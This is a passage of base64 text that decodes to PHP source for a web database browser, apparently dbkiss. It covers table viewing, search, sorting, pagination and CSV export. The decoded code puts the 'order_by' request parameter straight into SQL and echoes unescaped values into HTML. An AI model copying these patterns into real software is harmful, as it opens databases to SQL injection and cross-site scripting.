R2KSB7DQoJCQkkY29sdW1uczJbJGtdID0gJHYuJyAoJy4kdHlwZXNbJGtdLicpJzsNCgkJfQ0KCQkkdHlwZXNfZ3JvdXAgPSB0YWJsZV90eXBlc19ncm91cCgkdHlwZXMpOw0KCQkkX0dFVFsnc2VhcmNoJ10gPSBnZXQoJ3NlYXJjaCcpOw0KDQoJCSR3aGVyZSA9ICcnOw0KCQkkZm91bmQgPSAkY291bnQ7DQoJCWlmICgkX0dFVFsnc2VhcmNoJ10pIHsNCgkJCSRzZWFyY2ggPSAkX0dFVFsnc2VhcmNoJ107DQoJCQkkY29sczIgPSBhcnJheSgpOw0KDQoJCQlpZiAoZ2V0KCdjb2x1bW4nKSkgew0KCQkJCSRjb2xzMltdID0gJF9HRVRbJ2NvbHVtbiddOw0KCQkJfSBlbHNlIHsNCgkJCQkkY29sczIgPSAkY29sdW1uczsNCgkJCX0NCgkJCSR3aGVyZSA9ICcnOw0KCQkJJHNlYXJjaCA9IGRiX2VzY2FwZSgkc2VhcmNoKTsNCg0KCQkJJGNvbHVtbl90eXBlID0gJyc7DQoJCQlpZiAoIWdldCgnY29sdW1uJykpIHsNCgkJCQkkY29sdW1uX3R5cGUgPSBnZXQoJ2NvbHVtbl90eXBlJyk7DQoJCQl9IGVsc2Ugew0KCQkJCSRfR0VUWydjb2x1bW5fdHlwZSddID0gJyc7DQoJCQl9DQoNCgkJCSRpZ25vcmVfaW50ID0gZmFsc2U7DQoJCQkkaWdub3JlX3RpbWUgPSBmYWxzZTsNCg0KCQkJZm9yZWFjaCAoJGNvbHVtbnMgYXMgJGNvbCkNCgkJCXsNCgkJCQlpZiAoIWdldCgnY29sdW1uJykgJiYgJGNvbHVtbl90eXBlKSB7DQoJCQkJCWlmICgkdHlwZXNbJGNvbF0gIT0gJGNvbHVtbl90eXBlKSB7DQoJCQkJCQljb250aW51ZTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAoISRjb2x1bW5fdHlwZSAmJiAhaXNfbnVtZXJpYygkc2VhcmNoKSAmJiBzdHJfaGFzKCR0eXBlc1skY29sXSwgJ2ludCcpKSB7DQoJCQkJCSRpZ25vcmVfaW50ID0gdHJ1ZTsNCgkJCQkJY29udGludWU7DQoJCQkJfQ0KCQkJCWlmICghJGNvbHVtbl90eXBlICYmIGlzX251bWVyaWMoJHNlYXJjaCkgJiYgc3RyX2hhcygkdHlwZXNbJGNvbF0sICd0aW1lJykpIHsNCgkJCQkJJGlnbm9yZV90aW1lID0gdHJ1ZTsNCgkJCQkJY29udGludWU7DQoJCQkJfQ0KCQkJCWlmIChnZXQoJ2NvbHVtbicpICYmICRjb2wgIT0gJF9HRVRbJ2NvbHVtbiddKSB7DQoJCQkJCWNvbnRpbnVlOw0KCQkJCX0NCgkJCQlpZiAoJHdoZXJlKSB7ICR3aGVyZSAuPSAnIE9SICc7IH0NCgkJCQlpZiAoaXNfbnVtZXJpYygkc2VhcmNoKSkgew0KCQkJCQkkd2hlcmUgLj0gIiRjb2wgPSAnJHNlYXJjaCciOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJCQkJCSR3aGVyZSAuPSAiJGNvbCBMSUtFICclJHNlYXJjaCUnIjsNCgkJCQkJfSBlbHNlIGlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJCQkJCSR3aGVyZSAuPSAiJGNvbCBJTElLRSAnJSRzZWFyY2glJyI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQl0cmlnZ2VyX2Vycm9yKCdkYl9kcml2ZXIgbm90IGltcGxlbWVudGVkJyk7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQlpZiAoKCRpZ25vcmVfaW50IHx8ICRpZ25vcmVfdGltZSkgJiYgISR3aGVyZSkgew0KCQkJCSR3aGVyZSAuPSAnIDE9MiAnOw0KCQkJfQ0KCQkJJHdoZXJlID0gJ1dIRVJFICcuJHdoZXJlOw0KCQl9DQoNCgkJaWYgKCR3aGVyZSkgew0KCQkJJHRhYmxlX2VucSA9IHF1b3RlX3RhYmxlKCR0YWJsZSk7DQoJCQkkZm91bmQgPSBkYl9vbmUoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICR0YWJsZV9lbnEgJHdoZXJlIik7DQoJCX0NCg0KCQkkbGltaXQgPSA1MDsNCgkJJG9mZnNldCA9IGdldCgnb2Zmc2V0JywnaW50Jyk7DQoJCSRwYWdlID0gZmxvb3IoJG9mZnNldCAvICRsaW1pdCArIDEpOw0KCQkkcGFnZXMgPSBjZWlsKCRmb3VuZCAvICRsaW1pdCk7DQoNCgkJJHBrID0gdGFibGVfcGsoJHRhYmxlKTsNCg0KCQkkb3JkZXIgPSAiT1JERVIgQlkiOw0KCQlpZiAoZ2V0KCdvcmRlcl9ieScpKSB7DQoJCQkkb3JkZXIgLj0gJyAnLiRfR0VUWydvcmRlcl9ieSddOw0KCQl9IGVsc2Ugew0KCQkJaWYgKCRwaykgew0KCQkJCWlmIChJc1RhYmxlQVZpZXcoJHRhYmxlKSkgew0KCQkJCQkkb3JkZXIgPSAnJzsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkb3JkZXIgLj0gJyAnLiRwazsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCSRvcmRlciA9ICcnOw0KCQkJfQ0KCQl9DQoJCWlmIChnZXQoJ29yZGVyX2Rlc2MnKSkgeyAkb3JkZXIgLj0gJyBERVNDJzsgfQ0KDQoJCSR0YWJsZV9lbnEgPSBxdW90ZV90YWJsZSgkdGFibGUpOw0KCQkkYmFzZV9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICR0YWJsZV9lbnEgJHdoZXJlICRvcmRlciI7DQoJCSRycyA9IGRiX3F1ZXJ5KGRiX2xpbWl0KCRiYXNlX3F1ZXJ5LCAkb2Zmc2V0LCAkbGltaXQpKTsNCg0KCQlpZiAoJGNvdW50ICYmICRycykgew0KCQkJJHJvd3MgPSBhcnJheSgpOw0KCQkJd2hpbGUgKCRyb3cgPSBkYl9yb3coJHJzKSkgew0KCQkJCSRyb3dzW10gPSAkcm93Ow0KCQkJfQ0KCQkJZGJfZnJlZSgkcnMpOw0KCQkJaWYgKGNvdW50KCRyb3dzKSAmJiAhYXJyYXlfY29sX21hdGNoX3VuaXF1ZSgkcm93cywgJHBrLCAnI15cZCskIycpKSB7DQoJCQkJJHBrID0gZ3Vlc3NfcGsoJHJvd3MpOw0KCQkJfQ0KCQl9DQoNCgkJZnVuY3Rpb24gaW5kZW50aGVhZCgkc3RyKQ0KCQl7DQoJCQlpZiAoaXNfYXJyYXkoJHN0cikpIHsNCgkJCQkkc3RyMiA9ICcnOw0KCQkJCWZvcmVhY2ggKCRzdHIgYXMgJGsgPT4gJHYpIHsNCgkJCQkJJHN0cjIgLj0gc3ByaW50ZignJXM6ICVzJy4iXHJcbiIsICRrLCAkdik7DQoJCQkJfQ0KCQkJCSRzdHIgPSAkc3RyMjsNCgkJCX0NCgkJCSRsaW5lcyA9IGV4cGxvZGUoIlxuIiwgJHN0cik7DQoJCQkkbWF4X2xlbiA9IDA7DQoJCQlmb3JlYWNoICgkbGluZXMgYXMgJGsgPT4gJGxpbmUpIHsNCgkJCQkkbGluZXNbJGtdID0gdHJpbSgkbGluZSk7DQoJCQkJaWYgKHByZWdfbWF0Y2goJyNeW146XSs6IycsICRsaW5lLCAkbWF0Y2gpKSB7DQoJCQkJCWlmICgkbWF4X2xlbiA8IHN0cmxlbigkbWF0Y2hbMF0pKSB7DQoJCQkJCQkkbWF4X2xlbiA9IHN0cmxlbigkbWF0Y2hbMF0pOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZm9yZWFjaCAoJGxpbmVzIGFzICRrID0+ICRsaW5lKSB7DQoJCQkJaWYgKHByZWdfbWF0Y2goJyNeW146XSs6IycsICRsaW5lLCAkbWF0Y2gpKSB7DQoJCQkJCSRsaW5lc1ska10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hbMF0sICRtYXRjaFswXS5zdHJfcmVwZWF0KCcmbmJzcDsnLCAkbWF4X2xlbiAtIHN0cmxlbigkbWF0Y2hbMF0pKSwgJGxpbmUpOw0KCQkJCX0NCgkJCX0NCgkJCXJldHVybiBpbXBsb2RlKCJcclxuIiwgJGxpbmVzKTsNCgkJfQ0KDQoJCWlmIChnZXQoJ2luZGVudGhlYWQnKSkgew0KCQkJZWNobyAnPHByZT4nOw0KCQkJZWNobyAnVGFibGU6ICcuZ2V0KCd2aWV3dGFibGUnKS4iXHJcbiI7DQoJCQllY2hvIHN0cl9yZXBlYXQoJy0nLCA4MCkuIlxyXG4iOw0KCQkJZm9yZWFjaCAoJHJvd3MgYXMgJHJvdykgew0KCQkJCWVjaG8gaW5kZW50aGVhZCgkcm93KTsNCgkJCQllY2hvIHN0cl9yZXBlYXQoJy0nLCA4MCkuIlxyXG4iOw0KCQkJfQ0KCQkJZWNobyAnPC9wcmU+JzsNCgkJCWV4aXQ7DQoJCX0NCgk/Pg0KDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvbG9vc2UuZHRkIj4NCjxodG1sPg0KPGhlYWQ+DQoJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9PD9waHAgZWNobyAkcGFnZV9jaGFyc2V0Oz8+Ij4NCgk8dGl0bGU+PD9waHAgZWNobyAkZGJfbmFtZV9oMT8kZGJfbmFtZV9oMTokZGJfbmFtZTs/PiAmZ3Q7IFRhYmxlOiA8P3BocCBlY2hvICR0YWJsZTs/PjwvdGl0bGU+DQoJPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOyA/Pj9kYmtpc3NfZmF2aWNvbj0xIj4NCjwvaGVhZD4NCjxib2R5Pg0KDQoJPD9waHAgbGF5b3V0KCk7ID8+DQoNCgk8aDE+PGEgY2xhc3M9Ymx1ZSBzdHlsZT0iPD9waHAgZWNobyAkZGJfbmFtZV9zdHlsZTs/PiIgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiI+PD9waHAgZWNobyAkZGJfbmFtZV9oMT8kZGJfbmFtZV9oMTokZGJfbmFtZTs/PjwvYT4gJmd0OyBUYWJsZTogPD9waHAgZWNobyAkdGFibGU7Pz48L2gxPg0KDQoJPD9waHAgY29ubl9pbmZvKCk7ID8+DQoNCgk8cD4NCgkJPGEgY2xhc3M9Ymx1ZSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+Ij5BbGwgdGFibGVzPC9hPg0KCQkmbmJzcDsmZ3Q7Jm5ic3A7DQoJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4/dmlld3RhYmxlPTw/cGhwIGVjaG8gJHRhYmxlOz8+Ij48Yj48P3BocCBlY2hvICR0YWJsZTs/PjwvYj48L2E+ICg8P3BocCBlY2hvICRjb3VudDs/PikNCgkJJm5ic3A7Jm5ic3A7LyZuYnNwOyZuYnNwOw0KDQoJCUV4cG9ydCB0byBDU1Y6Jm5ic3A7DQoNCgkJPGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4/ZXhwb3J0PWNzdiZzZXBhcmF0b3I9PD9waHAgZWNobyB1cmxlbmNvZGUoJ3wnKTs/PiZxdWVyeT08P3BocCBlY2hvIGJhc2U2NF9lbmNvZGUoJGJhc2VfcXVlcnkpOyA/PiI+cGlwZTwvYT4NCgkJLQ0KCQk8YSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOyA/Pj9leHBvcnQ9Y3N2JnNlcGFyYXRvcj08P3BocCBlY2hvIHVybGVuY29kZSgiXHQiKTs/PiZxdWVyeT08P3BocCBlY2hvIGJhc2U2NF9lbmNvZGUoJGJhc2VfcXVlcnkpOyA/PiI+dGFiPC9hPg0KCQktDQoJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+P2V4cG9ydD1jc3Ymc2VwYXJhdG9yPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCcsJyk7Pz4mcXVlcnk9PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKCRiYXNlX3F1ZXJ5KTsgPz4iPmNvbW1hPC9hPg0KCQktDQoJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+P2V4cG9ydD1jc3Ymc2VwYXJhdG9yPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCc7Jyk7Pz4mcXVlcnk9PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKCRiYXNlX3F1ZXJ5KTsgPz4iPnNlbWljb2xvbjwvYT4NCg0KCQkmbmJzcDsmbmJzcDsvJm5ic3A7Jm5ic3A7DQoJCUZ1bmN0aW9uczoNCgkJPGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/Pj92aWV3dGFibGU9PD9waHAgZWNobyAkdGFibGU7Pz4maW5kZW50aGVhZD0xIj5pbmRlbnRoZWFkKCk8L2E+DQoJPC9wPg0KDQoJPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9ImdldCIgc3R5bGU9Im1hcmdpbi1ib3R0b206IDFlbTsiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InZpZXd0YWJsZSIgdmFsdWU9Ijw/cGhwIGVjaG8gJHRhYmxlOz8+Ij4NCgk8dGFibGUgY2xhc3M9ImxzIiBjZWxsc3BhY2luZz0iMSI+DQoJPHRyPg0KCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNlYXJjaCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbF9vbmNlKGdldCgnc2VhcmNoJykpOz8+Ij48L3RkPg0KCQk8dGQ+PHNlbGVjdCBuYW1lPSJjb2x1bW4iPjxvcHRpb24gdmFsdWU9IiI+PC9vcHRpb24+PD9waHAgZWNobyBvcHRpb25zKCRjb2x1bW5zMiwgZ2V0KCdjb2x1bW4nKSk7Pz48L3NlbGVjdD48L3RkPg0KCQk8dGQ+PHNlbGVjdCBuYW1lPSJjb2x1bW5fdHlwZSI+PG9wdGlvbiB2YWx1ZT0iIj48L29wdGlvbj48P3BocCBlY2hvIG9wdGlvbnMoJHR5cGVzX2dyb3VwLCBnZXQoJ2NvbHVtbl90eXBlJykpOz8+PC9zZWxlY3Q+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZWFyY2giPjwvdGQ+DQoJCTx0ZD4NCgkJCW9yZGVyIGJ5Og0KCQkJPHNlbGVjdCBuYW1lPSJvcmRlcl9ieSI+PG9wdGlvbiB2YWx1ZT0iIj48L29wdGlvbj48P3BocCBlY2hvIG9wdGlvbnMoJGNvbHVtbnMsIGdldCgnb3JkZXJfYnknKSk7Pz48L3NlbGVjdD4NCgkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3JkZXJfZGVzYyIgaWQ9Im9yZGVyX2Rlc2MiIHZhbHVlPSIxIiA8P3BocCBlY2hvIGNoZWNrZWQoZ2V0KCdvcmRlcl9kZXNjJykpOz8+Pg0KCQkJPGxhYmVsIGZvcj0ib3JkZXJfZGVzYyI+ZGVzYzwvbGFiZWw+DQoJCTwvdGQ+DQoJCTx0ZD4NCgkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZnVsbF9jb250ZW50IiBpZD0iZnVsbF9jb250ZW50IiA8P3BocCBlY2hvIGNoZWNrZWQoZ2V0KCdmdWxsX2NvbnRlbnQnKSk7Pz4+DQoJCQk8bGFiZWwgZm9yPSJmdWxsX2NvbnRlbnQiPmZ1bGwgY29udGVudDwvbGFiZWw+DQoJCTwvdGQ+DQoJCTx0ZD4NCgkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibmwyYnIiIGlkPSJubDJiciIgPD9waHAgZWNobyBjaGVja2VkKGdldCgnbmwyYnInKSk7Pz4+DQoJCQk8bGFiZWwgZm9yPSJubDJiciI+bmwyYnI8L2xhYmVsPg0KCQk8L3RkPg0KCTwvdHI+DQoJPC90YWJsZT4NCgk8L2Zvcm0+DQoNCgk8P3BocCBpZiAoJGNvdW50KTogPz4NCg0KCQk8P3BocCBpZiAoJGNvdW50ICYmICRjb3VudCAhPSAkZm91bmQpOiA/Pg0KCQkJPHA+Rm91bmQ6IDxiPjw/cGhwIGVjaG8gJGZvdW5kOz8+PC9iPjwvcD4NCgkJPD9waHAgZW5kaWY7ID8+DQoNCgkJPD9waHAgaWYgKCRmb3VuZCk6ID8+DQoNCgkJCTw/cGhwIGlmICgkcGFnZXMgPiAxKTogPz4NCgkJCTxwPg0KCQkJCTw/cGhwIGlmICgkcGFnZSA+IDEpOiA/Pg0KCQkJCQk8YSBocmVmPSI8P3BocCBlY2hvIHVybF9vZmZzZXQoKCRwYWdlLTEpKiRsaW1pdC0kbGltaXQpOz8+Ij4mbHQ7Jmx0OyBQcmV2PC9hPiAmbmJzcDsNCgkJCQk8P3BocCBlbmRpZjsgPz4NCgkJCQlQYWdlIDxiPjw/cGhwIGVjaG8gJHBhZ2U7Pz48L2I+IG9mIDxiPjw/cGhwIGVjaG8gJHBhZ2VzOz8+PC9iPiAmbmJzcDsNCgkJCQk8P3BocCBpZiAoJHBhZ2VzID4gJHBhZ2UpOiA/Pg0KCQkJCQk8YSBocmVmPSI8P3BocCBlY2hvIHVybF9vZmZzZXQoJHBhZ2UqJGxpbWl0KTs/PiI+TmV4dCAmZ3Q7Jmd0OzwvYT4NCgkJCQk8P3BocCBlbmRpZjsgPz4NCgkJCTwvcD4NCgkJCTw/cGhwIGVuZGlmOyA/Pg0KDQoJCQk8c2NyaXB0Pg0KCQkJZnVuY3Rpb24gbWFya19yb3codHIpDQoJCQl7DQoJCQkJdmFyIGVscyA9IHRyLmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0ZCcpOw0KCQkJCWlmICh0ci5tYXJrZWQpIHsNCgkJCQkJZm9yICh2YXIgaSA9IDA7IGkgPCBlbHMubGVuZ3RoOyBpKyspIHsNCgkJCQkJCWVsc1tpXS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAnJzsNCgkJCQkJfQ0KCQkJCQl0ci5tYXJrZWQgPSBmYWxzZTsNCgkJCQl9IGVsc2Ugew0KCQkJCQl0ci5tYXJrZWQgPSB0cnVlOw0KCQkJCQlmb3IgKHZhciBpID0gMDsgaSA8IGVscy5sZW5ndGg7IGkrKykgew0KCQkJCQkJZWxzW2ldLnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICcjZGRkJzsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJCTwvc2NyaXB0Pg0KDQoJCQk8dGFibGUgY2xhc3M9ImxzIiBjZWxsc3BhY2luZz0iMSI+DQoJCQk8dHI+DQoJCQkJPD9waHAgaWYgKCRwayk6ID8+PHRoPiM8L3RoPjw/cGhwIGVuZGlmOyA/Pg0KCQkJCTw/cGhwIGZvcmVhY2ggKCRjb2x1bW5zIGFzICRjb2wpOiA/Pg0KCQkJCQk8P3BocA0KCQkJCQkJJHBhcmFtcyA9IGFycmF5KCdvcmRlcl9ieSc9PiRjb2wpOw0KCQkJCQkJJHBhcmFtc1snb3JkZXJfZGVzYyddID0gMDsNCgkJCQkJCWlmIChnZXQoJ29yZGVyX2J5JykgPT0gJGNvbCkgew0KCQkJCQkJCSRwYXJhbXNbJ29yZGVyX2Rlc2MnXSA9IGdldCgnb3JkZXJfZGVzYycpID8gMCA6IDE7DQoJCQkJCQl9DQoJCQkJCT8+DQoJCQkJCTx0aD48YSBzdHlsZT0iY29sb3I6ICMwMDA7IiBocmVmPSI8P3BocCBlY2hvIHVybChzZWxmKCksICRwYXJhbXMpOz8+Ij48P3BocCBlY2hvICRjb2w7Pz48L2E+PC90aD4NCgkJCQk8P3BocCBlbmRmb3JlYWNoOyA/Pg0KCQkJPC90cj4NCgkJCTw/cGhwDQoJCQkJJGdldF9mdWxsX2NvbnRlbnQgPSBnZXQoJ2Z1bGxfY29udGVudCcpOw0KCQkJCSRnZXRfbmwyYnIgPSBnZXQoJ25sMmJyJyk7DQoJCQkJJGdldF9zZWFyY2ggPSBnZXQoJ3NlYXJjaCcpOw0KCQkJPz4NCgkJCTw/cGhwDQoJCQkJJGVkaXRfdXJsX3RwbCA9IHVybChzZWxmKHRydWUpLCBhcnJheSgnYWN0aW9uJz0+J2VkaXRyb3cnLCAndGFibGUnPT4kdGFibGUsICdwayc9PiRwaywgJ2lkJz0+JyVzJykpOw0KCQkJPz4NCgkJCTw/cGhwIGZvcmVhY2ggKCRyb3dzIGFzICRyb3cpOiA/Pg0KCQkJPHRyIG9uZGJsY2xpY2s9Im1hcmtfcm93KHRoaXMpIj4NCgkJCQk8P3BocCBpZiAoJHBrKTogPz4NCgkJCQkJPD9waHAgJGVkaXRfdXJsID0gc3ByaW50ZigkZWRpdF91cmxfdHBsLCAkcm93WyRwa10pOyA/Pg0KCQkJCQk8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJwb3B1cCgnPD9waHAgZWNobyAkZWRpdF91cmw7Pz4nLCA2MjAsIDUwMCkiPkVkaXQ8L2E+Jm5ic3A7PC90ZD4NCgkJCQk8P3BocCBlbmRpZjsgPz4NCgkJCQk8P3BocCBmb3JlYWNoICgkcm93IGFzICRrID0+ICR2KTogPz4NCgkJCQkJPD9waHANCgkJCQkJCSR2ID0gc3RyaXBfdGFncygkdik7DQoJCQkJCQkkdiA9IGNyZWF0ZV9saW5rcygkdik7DQoJCQkJCQlpZiAoISRnZXRfZnVsbF9jb250ZW50KSB7DQoJCQkJCQkJJHYgPSB0cnVuY2F0ZV9odG1sKCR2LCA1MCk7DQoJCQkJCQl9DQoJCQkJCQkvLyR2ID0gaHRtbF9vbmNlKCR2KTsNCgkJCQkJCS8vJHYgPSBodG1sc3BlY2lhbGNoYXJzKCR2KTsgLS0gY3JlYXRlX2xpbmtzKCkgZGlzYWJsaW5nDQoJCQkJCQkkbmwyYnIgPSAkZ2V0X25sMmJyOw0KCQkJCQkJaWYgKCRnZXRfZnVsbF9jb250ZW50KSB7DQoJCQkJCQkJJHYgPSBzdHJfd3JhcCgkdiwgODAsICc8YnI+JywgdHJ1ZSk7DQoJCQkJCQl9DQoJCQkJCQlpZiAoJGdldF9ubDJicikgew0KCQkJCQkJCSR2ID0gbmwyYnIoJHYpOw0KCQkJCQkJfQ0KCQkJCQkJLy8kdiA9IHN0cmlwc2xhc2hlcyhzdHJpcHNsYXNoZXMoJHYpKTsNCgkJCQkJCWlmICgkZ2V0X3NlYXJjaCkgew0KCQkJCQkJCSRzZWFyY2ggPSAkX0dFVFsnc2VhcmNoJ107DQoJCQkJCQkJJHNlYXJjaF9xdW90ZSA9IHByZWdfcXVvdGUoJHNlYXJjaCk7DQoJCQkJCQkJJHYgPSBwcmVnX3JlcGxhY2UoJyMoJy4kc2VhcmNoX3F1b3RlLicpI2knLCAnPHNwYW4gc3R5bGU9ImJhY2tncm91bmQ6IHllbGxvdzsiPiQxPC9zcGFuPicsICR2KTsNCgkJCQkJCX0NCgkJCQkJCWlmICgkdHlwZXNbJGtdID09ICdpbnQnICYmIChwcmVnX21hdGNoKCcjdGltZSNpJywgJGspIHx8IHByZWdfbWF0Y2goJyNkYXRlI2knLCAkaykpDQoJCQkJCQkJJiYgcHJlZ19tYXRjaCgnI15cZCskIycsICR2KSkNCgkJCQkJCXsNCgkJCQkJCQkkdG1wID0gQGRhdGUoJ1ktbS1kIEg6aScsICR2KTsNCgkJCQkJCQlpZiAoJHRtcCkgew0KCQkJCQkJCQkkdiA9ICR0bXA7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQk/Pg0KCQkJCQk8dGQgb25jbGljaz0ibWFya19jb2wodGhpcykiIDw/cGhwIGVjaG8gJG5sMmJyPyd2YWxpZ249InRvcCInOicnOz8+IG5vd3JhcD48P3BocCBlY2hvIGlzX251bGwoJHJvd1ska10pPyctJzokdjs/PjwvdGQ+DQoJCQkJPD9waHAgZW5kZm9yZWFjaDsgPz4NCgkJCTwvdHI+DQoJCQk8P3BocCBlbmRmb3JlYWNoOyA/Pg0KCQkJPC90YWJsZT4NCg0KCQkJPD9waHAgaWYgKCRwYWdlcyA+IDEpOiA/Pg0KCQkJPHA+DQoJCQkJPD9waHAgaWYgKCRwYWdlID4gMSk6ID8+DQoJCQkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gdXJsX29mZnNldCgoJHBhZ2UtMSkqJGxpbWl0LSRsaW1pdCk7Pz4iPiZsdDsmbHQ7IFByZXY8L2E+ICZuYnNwOw0KCQkJCTw/cGhwIGVuZGlmOyA/Pg0KCQkJCVBhZ2UgPGI+PD9waHAgZWNobyAkcGFnZTs/PjwvYj4gb2YgPGI+PD9waHAgZWNobyAkcGFnZXM7Pz48L2I+ICZuYnNwOw0KCQkJCTw/cGhwIGlmICgkcGFnZXMgPiAkcGFnZSk6ID8+DQoJCQkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gdXJsX29mZnNldCgkcGFnZSokbGltaXQpOz8+Ij5OZXh0ICZndDsmZ3Q7PC9hPg0KCQkJCTw/cGhwIGVuZGlmOyA/Pg0KCQkJPC9wPg0KCQkJPD9waHAgZW5kaWY7ID8+DQoNCgkJPD9waHAgZW5kaWY7ID8+DQoNCgk8P3BocCBlbmRpZjsgPz4NCg0KPD9waHAgcG93ZXJlZF9ieSgpOyA/Pg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdDsgZW5kaWY7ID8+DQo8P3BocCBpZiAoZ2V0KCdzZWFyY2hkYicpKTogPz4NCjw/cGhwDQoNCgkvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoJLy8gU0VBUkNIIERCDQoJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoJJGdldCA9IGdldChhcnJheSgNCgkJJ3R5cGVzJyA9PiAnYXJyYXknLA0KCQknc2VhcmNoJyA9PiAnc3RyaW5nJywNCgkJJ21kNScgPT4gJ2Jvb2wnLA0KCQkndGFibGVfZmlsdGVyJyA9PiAnc3RyaW5nJw0KCSkpOw0KCSRnZXRbJ3NlYXJjaCddID0gdHJpbSgkZ2V0WydzZWFyY2gnXSk7DQoNCgkkdGFibGVzID0gbGlzdF90YWJsZXMoKTsNCg0KCWlmICgkZ2V0Wyd0YWJsZV9maWx0ZXInXSkgew0KCQlmb3JlYWNoICgkdGFibGVzIGFzICRrID0+ICR0YWJsZSkgew0KCQkJaWYgKCFzdHJfaGFzX2FueSgkdGFibGUsICRnZXRbJ3RhYmxlX2ZpbHRlciddLCAkaWdub3JlX2Nhc2UgPSB0cnVlKSkgew0KCQkJCXVuc2V0KCR0YWJsZXNbJGtdKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCSRhbGxfdHlwZXMgPSBhcnJheSgpOw0KCSRjb2x1bW5zICA9IGFycmF5KCk7DQoJZm9yZWFjaCAoJHRhYmxlcyBhcyAkdGFibGUpIHsNCgkJJHR5cGVzID0gdGFibGVfdHlwZXMyKCR0YWJsZSk7DQoJCSRjb2x1bW5zWyR0YWJsZV0gPSAkdHlwZXM7DQoJCSR0eXBlcyA9IGFycmF5X3ZhbHVlcygkdHlwZXMpOw0KCQkkYWxsX3R5cGVzID0gYXJyYXlfbWVyZ2UoJGFsbF90eXBlcywgJHR5cGVzKTsNCgl9DQoJJGFsbF90eXBlcyA9IGFycmF5X3VuaXF1ZSgkYWxsX3R5cGVzKTsNCg0KCWlmICgkZ2V0WydzZWFyY2gnXSAmJiAkZ2V0WydtZDUnXSkgew0KCQkkZ2V0WydzZWFyY2gnXSA9IG1kNSgkZ2V0WydzZWFyY2gnXSk7DQoJfQ0KDQo/Pg0KPD9waHAgbGF5b3V0X3N0YXJ0KHNwcmludGYoJyVzICZndDsgU2VhcmNoJywgJGRiX25hbWUpKTsgPz4NCgk8aDE+PGEgY2xhc3M9Ymx1ZSBzdHlsZT0iPD9waHAgZWNobyAkZGJfbmFtZV9zdHlsZTs/PiIgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiI+PD9waHAgZWNobyAkZGJfbmFtZV9oMT8kZGJfbmFtZV9oMTokZGJfbmFtZTs/PjwvYT4gJmd0OyBTZWFyY2g8L2gxPg0KCTw/cGhwIGNvbm5faW5mbygpOyA/Pg0KDQoJPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9ImdldCI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic2VhcmNoZGIiIHZhbHVlPSIxIj4N